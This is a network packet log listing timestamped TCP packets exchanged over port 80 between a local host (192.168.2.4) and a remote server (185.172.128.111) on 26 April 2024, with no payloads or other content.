Apr 26, 2024 09:41:10.836385965 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.836421967 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.836437941 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.836455107 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.836481094 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.836502075 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.836708069 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.836761951 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.836779118 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.836823940 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.836842060 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.836888075 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.836904049 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.836946964 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.837044001 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.837091923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.837102890 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.837120056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.837146997 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.837162971 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.837169886 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.837205887 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.837306976 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.837358952 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.837376118 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.837416887 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.837447882 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.837465048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.837493896 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.837511063 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.837765932 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.837820053 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.837884903 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.837935925 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.837971926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.837990999 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.838020086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.838037968 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.838082075 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.838082075 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.838103056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.838134050 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.838145018 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.838156939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.838175058 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.838195086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.838500977 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.838551998 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.838570118 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.838587046 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.838613987 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.838634968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.838661909 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.838706970 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.838850975 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.838901043 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.838963985 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.839015961 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.839101076 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.839116096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.839143991 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.839163065 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.839174032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.839212894 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.839229107 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.839276075 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.839293003 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.839313030 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.839339972 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.839353085 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.886605978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.886778116 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.886800051 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.886806965 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.886822939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.886832952 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.886847973 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.886873007 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.886929035 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.886980057 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.887084961 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.887135029 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.887168884 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.887185097 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.887223959 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.887300014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.887350082 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.887371063 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.887428999 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.887445927 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.887487888 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.887506962 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.887561083 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.887600899 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.887660027 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.887677908 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.887727022 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.887741089 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.887756109 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.887784004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.887806892 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.887890100 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.887943983 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.887964010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.888009071 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.888030052 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.888045073 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.888073921 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.888092995 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.888294935 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.888351917 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.888384104 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.888432026 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.888448954 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.888464928 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.888492107 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.888515949 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.888765097 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.888823032 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.888876915 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.888894081 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.888909101 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.888926983 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.888952971 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.889111996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.889167070 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.889187098 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.889230967 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.889249086 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.889285088 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.889297009 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.889333963 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.889354944 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.889403105 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.889419079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.889461040 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.889468908 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.889483929 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.889512062 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.889534950 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.889764071 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.889806986 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.889817953 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.889863014 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.889878988 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.889894962 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.889949083 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.890008926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.890064955 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.890083075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.890115023 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.890129089 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.890146971 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.890158892 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.890194893 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.890355110 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.890408039 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.890440941 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.890491962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.890508890 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.890525103 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.890554905 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.890580893 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.890830040 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.890887022 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.890904903 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.890974998 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.890991926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.891006947 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.891035080 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.891056061 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.891130924 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.891175985 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.891186953 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.891232014 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.891252041 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.891267061 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.891292095 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.891313076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.891371012 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.891417980 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.891441107 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.891458988 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.891484022 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.891496897 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.891506910 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.891536951 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.891843081 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.891896963 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.891916990 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.891935110 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.891968966 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.891983032 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.891992092 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.892035007 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.892158985 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.892210960 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.892245054 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.892298937 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.892332077 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.892347097 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.892383099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.892396927 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.892452002 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.892504930 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.892539024 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.892590046 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.892644882 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.892659903 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.892692089 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.892707109 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.892978907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.893054962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.893069983 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.893110991 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.893127918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.893142939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.893168926 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.893191099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.893241882 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.893299103 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.893332005 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.893379927 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.893393040 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.893409014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.893433094 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.893455982 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.893537998 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.893590927 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.893610001 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.893667936 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.893685102 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.893699884 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.893731117 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.893754005 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.893945932 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.894002914 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.894021988 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.894071102 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.894090891 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.894119978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.894135952 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.894165039 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.894217014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.894269943 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.894290924 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.894340038 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.894357920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.894387007 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.894401073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.894428015 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.941432953 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.941456079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.941473961 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.941519976 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.941597939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.941626072 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.941644907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.941699982 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.941780090 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.941829920 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.941910982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.941966057 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.942019939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.942080021 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.942159891 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.942209959 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.942341089 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.942393064 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.942404032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.942451954 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.942533970 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.942588091 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.942609072 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.942657948 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.942679882 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.942730904 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.942837954 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.942894936 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.943097115 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.943147898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.943181992 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.943229914 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.943244934 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.943260908 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.943289042 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.943314075 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.943327904 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.943377972 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.943594933 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.943650007 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.943810940 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.943849087 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.943862915 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.943885088 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.943907976 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.943952084 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.943972111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.944025040 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.944123030 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.944138050 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.944186926 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.944196939 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.944211960 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.944255114 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.944269896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.944324970 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.944401026 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.944417000 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.944453001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.944469929 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.944493055 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.944542885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.944560051 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.944610119 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.944628000 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.944643974 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.944669008 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.944690943 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.944792986 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.944848061 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.944864988 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.944916010 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.944937944 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.944952965 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.944999933 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.945017099 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.945063114 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.945077896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.945128918 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.945162058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.945178986 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.945209980 CEST	49730	80	192.168.2.4	185.172.128.111
